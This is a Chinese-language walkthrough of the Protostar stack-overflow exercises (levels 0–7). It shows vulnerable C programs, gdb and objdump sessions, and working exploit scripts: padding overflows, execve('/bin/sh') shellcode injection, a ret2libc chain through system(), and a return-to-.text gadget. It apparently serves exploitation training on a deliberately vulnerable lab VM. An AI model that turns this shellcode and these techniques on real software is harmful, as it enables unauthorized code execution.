继续上一个系列nebula的升级版:protostar

stack 0

这个题是最简单的栈溢出,目的是让大家明白栈溢出可以修改内存中的变量。

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  modified = 0;
  gets(buffer);

  if(modified != 0) {
      printf("you have changed the 'modified' variable\n");
  } else {
      printf("Try again?\n");
  }
}

可以看到局部变量有两个,一个是int类型,另一个是char数组,通常情况下,两个变量在栈中是这个样子的。

buff
buff
buff
buff
...
buff
modified

所以我们输入64个junk byte,然后加个1就可以把modified覆盖成1了。

payload:

12341234123412341234123412341234123412341234123412341234123412341111

stack 1

基本上和上一题一样,目的是让我们区分大小端,从代码中可以看到,这里比较的是modified0x61626364,即abcd,但是要进行大小端转换,输入的abcd在内存中会变成dcba,所以为了得到到abcd,需要输入dcba

payload:

$ ./stack1 1234123412341234123412341234123412341234123412341234123412341234dcba

stack 2

代码同样没有多大改变,只是从环境变量中读取内容,最后出现了不可见字符,直接输入是不可能了,借助一下pythonpyload如下:

user@protostar:/opt/protostar/bin$ export GREENIE=`python -c "print 'A'*64+'\x0a\x0d\x0a\x0d'"`
user@protostar:/opt/protostar/bin$ ./stack2 
you have correctly modified the variable

stack 3

这里代码变化较大:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  volatile int (*fp)();
  char buffer[64];

  fp = 0;

  gets(buffer);

  if(fp) {
      printf("calling function pointer, jumping to 0x%08x\n", fp);
      fp();
  }
}

这个题的目的是让我改掉EIP,这里提供了一个函数指针,所以只要将这个函数指针的地址覆盖为win()的地址就可以了,免去了覆盖返回地址的问题。首先通过objdump获取win()的地址。

user@protostar:/opt/protostar/bin$ objdump -d stack3
....
08048424 <win>:
 8048424:   55                      push   %ebp
 8048425:   89 e5                   mov    %esp,%ebp
 8048427:   83 ec 18                sub    $0x18,%esp
 804842a:   c7 04 24 40 85 04 08    movl   $0x8048540,(%esp)
 8048431:   e8 2a ff ff ff          call   8048360 <puts@plt>
 8048436:   c9                      leave  
 8048437:   c3                      ret
....

多余部分这里略去了,可以看到win()函数的地址是0x08048424,但是由于大小端问题,需要变成0x24840408,然后可以构造出payload

user@protostar:/opt/protostar/bin$ python -c "print 'a'*64 + '\x24\x84\x04\x08'" | ./stack3 
calling function pointer, jumping to 0x08048424
code flow successfully changed

stack 4

这一题变成了正常的栈溢出问题了,需要覆盖返回地址。

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

同样的先来确定win()函数的地址:

user@protostar:/opt/protostar/bin$ objdump -d stack3
...
080483f4 <win>:
 80483f4:   55                      push   %ebp
 80483f5:   89 e5                   mov    %esp,%ebp
 80483f7:   83 ec 18                sub    $0x18,%esp
 80483fa:   c7 04 24 e0 84 04 08    movl   $0x80484e0,(%esp)
 8048401:   e8 26 ff ff ff          call   804832c <puts@plt>
 8048406:   c9                      leave  
 8048407:   c3                      ret
...

这里略去多余部分。直接构造payload:

user@protostar:/opt/protostar/bin$ python -c "print 'A'*76+'\xf4\x83\x04\x08'" | ./stack4 
code flow successfully changed
Segmentation fault

至于为啥要填充76个字节,用gdb调试一下就知道了,也可以使用pattern.py进行测试。

stack 5

到这里已经几乎是真实环境了,这里需要自己填充shellcode了,从网上找一个执行/bin/shshellcode吧,当然需要对应环境,下面这个是最简单的execve("/bin/sh")的命令

shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"

这里还是推荐使用zio或者pwntools之类的东西。然而这是Debian 6.0,装个pwntools还要折腾。

首先确定溢出点:

user@protostar:~$ python pattern.py create 100
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

user@protostar:/opt/protostar/bin$ gdb ./stack5 
GNU gdb (GDB) 7.0.1-debian
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /opt/protostar/bin/stack5...done.
(gdb) run
Starting program: /opt/protostar/bin/stack5 
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

Program received signal SIGSEGV, Segmentation fault.
0x63413563 in ?? ()

user@protostar:/opt/protostar/bin$ python /home/user/pattern.py offset 0x63413563
hex pattern decoded as: c5Ac
76

确定了偏移量是76。这样构造'A'*76+retAddress即可。下面来找返回地址,建议通过core dump来寻找。

user@protostar:/opt/protostar/bin$ python -c "print 'A'*76+'BBBB'" | ./stack5 
Segmentation fault (core dumped)

如果没有生成core dump文件,可能需要修改/proc/sys/fs/suid_dumpable的值。

user@protostar:/opt/protostar/bin$ gdb ./stack5 /tmp/core.11.stack5.4833
Loaded symbols for /lib/ld-linux.so.2
Core was generated by `./stack5'.
Program terminated with signal 11, Segmentation fault.
#0  0x41414141 in ?? ()
(gdb) x/10s $esp-80
0xbffff7b0:  "ABCD", 'A' <repeats 110 times>
0xbffff823:  ""
0xbffff824:  "`\370\377\277&\006\377\267\260\372\377\267(\033\376\267\364\177", <incomplete sequence \375\267>
0xbffff839:  ""
0xbffff83a:  ""
0xbffff83b:  ""
0xbffff83c:  ""
0xbffff83d:  ""
0xbffff83e:  ""
0xbffff83f:  ""

因为溢出点在76字节处,还需要增加4个字节的返回地址,所以buffer的地址是76+4=80字节处,所以地址为0xbffff7b0。然后就可以写payload了。

ret = 0xbffff7b0
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"
payload = shellcode + 'A' * (76 - len(shellcode)) + struct.pack("<I",ret)

搞定,如果觉得PWN完了没有效果,可以尝试下面这个shellcode,下面这个会打印出一个字符串。

\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04\xb3\x01\x68\x64\x21\x21\x21\x68\x4f\x77\x6e\x65\x89\xe1\xb2\x08\xcd\x80\xb0\x01\x31\xdb\xcd\x80

stack 6

这题目难度比前面几个增加了一点,限制了返回地址,提示了好几种方法,包括ret2libc, ROP等。

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void getpath()
{
  char buffer[64];
  unsigned int ret;

  printf("input path please: "); fflush(stdout);

  gets(buffer);

  ret = __builtin_return_address(0);

  if((ret & 0xbf000000) == 0xbf000000) {
      printf("bzzzt (%p)\n", ret);
      _exit(1);
  }

  printf("got path %s\n", buffer);
}

int main(int argc, char **argv)
{
  getpath();
}

溢出点很容易找到,就是那个gets()导致了溢出。首先来找偏移量吧。

user@protostar:/opt/protostar/bin$ python /home/user/pattern.py create 100
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
user@protostar:/opt/protostar/bin$ gdb ./stack6 
(gdb) run
Starting program: /opt/protostar/bin/stack6 
input path please: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
got path Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0A6Ac72Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

Program received signal SIGSEGV, Segmentation fault.
0x37634136 in ?? ()

user@protostar:/opt/protostar/bin$ python /home/user/pattern.py offset 0x37634136
hex pattern decoded as: 6Ac7
80

偏移量是80,所以我们需要构造'A'*80+retAddress这样的字符串,下面寻找返回地址。

user@protostar:/opt/protostar/bin$ ./stack6 
input path please: ABCDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
got path ABCDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
user@protostar:/opt/protostar/bin$ gdb -q ./stack6 /tmp/core.11.stack6.5674
Core was generated by `./stack6'.
Program terminated with signal 11, Segmentation fault.
#0  0x41414141 in ?? ()
(gdb) x/10x $esp-84
0xbffff79c: 0x44434241  0x41414141  0x41414141  0x41414141
0xbffff7ac: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff7bc: 0x41414141  0x41414141

得到了返回地址0xbffff79c,如果返回到这个地址的话,看起来好像绕不过限制,先试一下。

import struct

shellcode = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04\xb3\x01\x68\x64\x21\x21\x21\x68\x4f\x77\x6e\x65\x89\xe1\xb2\x08\xcd\x80\xb0\x01\x31\xdb\xcd\x80"

ret = 0xbffff79c
payload = shellcode + 'A' * (80-len(shellcode)) + struct.pack("<I",ret)

print payload

结果:

user@protostar:/opt/protostar/bin$ python /home/user/stack6-exp.py | ./stack6 
input path please: bzzzt (0xbffff79c)

还是直接ret2libc吧,我们需要重新构造我们的payload

| Junk Code | system_addr | ret | bin/sh addr |

其中retsystem函数执行完的返回地址,需要注意一下。

先来找system函数和/bin/sh字符串的地址:

(gdb) print system
$1 = {<text variable, no debug info>} 0xb7ecffb0 <__libc_system>
(gdb) print __libc_start_main
$2 = {int (int (*)(int, char **, char **), int, char **, int (*)(int, char **, char **), 
    void (*)(void), void (*)(void), void *)} 0xb7eadb90 <__libc_start_main>
(gdb) find 0xb7eadb90, +2200000, "/bin/sh"
0xb7fba23f
warning: Unable to access target memory at 0xb7fd9647, halting search.
1 pattern found.
(gdb) x/s 0xb7fba23f
0xb7fba23f:  "KIND in __gen_tempname\""

这里找到了system()函数的地址:0xb7ecffb0
遇到了奇葩的问题,没有找到/bin/sh字符串,那就放到环境变量里吧。

user@protostar:~$ export BINSH="/bin/sh"
user@protostar:~$ echo $BINSH
/bin/sh
user@protostar:/opt/protostar/bin$ /home/user/getenvaddr BINSH ./stack6 
BINSH will be at 0xbfffff88

getenvaddr的源码如下:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) {
        char *ptr;
        if(argc < 3) {
                printf("Usage: %s <environment var> <target program name>\n", argv[0]);
                exit(0);
        }

        ptr = getenv(argv[1]); /* Get env var location. */
        ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* Adjust for program name. */
        printf("%s will be at %p\n", argv[1], ptr);
}

到这里已经可以构造payload了。

import struct

exit_addr = 0xb7ec60c0
binsh_addr = 0xbfffff88
system_addr = 0xb7ecffb0
payload = 'A' * 80 + struct.pack("<I", system_addr) + struct.pack("<I", exit_addr) + struct.pack("<I", binsh_addr)

print payload

其实是打成功了,主要是suid的权限会被system丢弃,所以看起来没啥反应,大家可以把system的参数换掉试试。

user@protostar:/opt/protostar/bin$ python /home/user/stack6-exp.py | ./stack6 
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA°ÿ춁AAAAAAAAAAA°ÿ츀`췈ÿÿ¿
user@protostar:/opt/protostar/bin$

效果如下:

user@protostar:/opt/protostar/bin$ echo $BINSH
echo hello
... 修改payload ...
user@protostar:/opt/protostar/bin$ python /home/user/stack6-exp.py | ./stack6 
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA°ÿ춁AAAAAAAAAAA°ÿ츀`췅ÿÿ¿
hello

stack 7

这个题把返回地址限制的更死了,只要是0xb*就会被ban掉。

题目提示是return.text端,并且提示了一个工具,可以试一下。先把前期的准备工作做好。

user@protostar:/opt/protostar/bin$ gdb ./stack7 
Reading symbols from /opt/protostar/bin/stack7...done.
(gdb) r
Starting program: /opt/protostar/bin/stack7 
input path please: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
got path Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0A6Ac72Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

Program received signal SIGSEGV, Segmentation fault.
0x37634136 in ?? ()

user@protostar:/opt/protostar/bin$ python /home/user/pattern.py offset 0x37634136
hex pattern decoded as: 6Ac7
80

这里我们可以找到一个在.text段,代码是pop xxx; ret之类的地方即可。先随便找一个,通过objdump就可以了。

 80485f7:   5b                      pop    %ebx
 80485f8:   5d                      pop    %ebp
 80485f9:   c3                      ret

就这里吧,payload大概应该是这个样子:

'A'*80 + p32(0x080485f7) + junk*8 + shellcode_addr

写起来试试:

import struct

shellcode = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0"
shellcode += "\x04\xb3\x01\x68\x64\x21\x21\x21\x68"
shellcode += "\x4f\x77\x6e\x65\x89\xe1\xb2\x08\xcd"
shellcode += "\x80\xb0\x01\x31\xdb\xcd\x80"

jump_addr = 0x080485f7
shellcode_addr = 0xbffff79c


payload = shellcode + 'A' * (80-len(shellcode)) 
payload += struct.pack("<I", jump_addr) + 'B' * 8 
payload += struct.pack("<I", shellcode_addr)

看看结果:

user@protostar:/opt/protostar/bin$ python ~/stack7-exp.py  | ./stack7 
input path please: got path 1ᄆٱDZҰ³hd!!!hOwǹ°1܍AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB 
Owned!!!

到这里stack环节就结束了,进入下一个环节。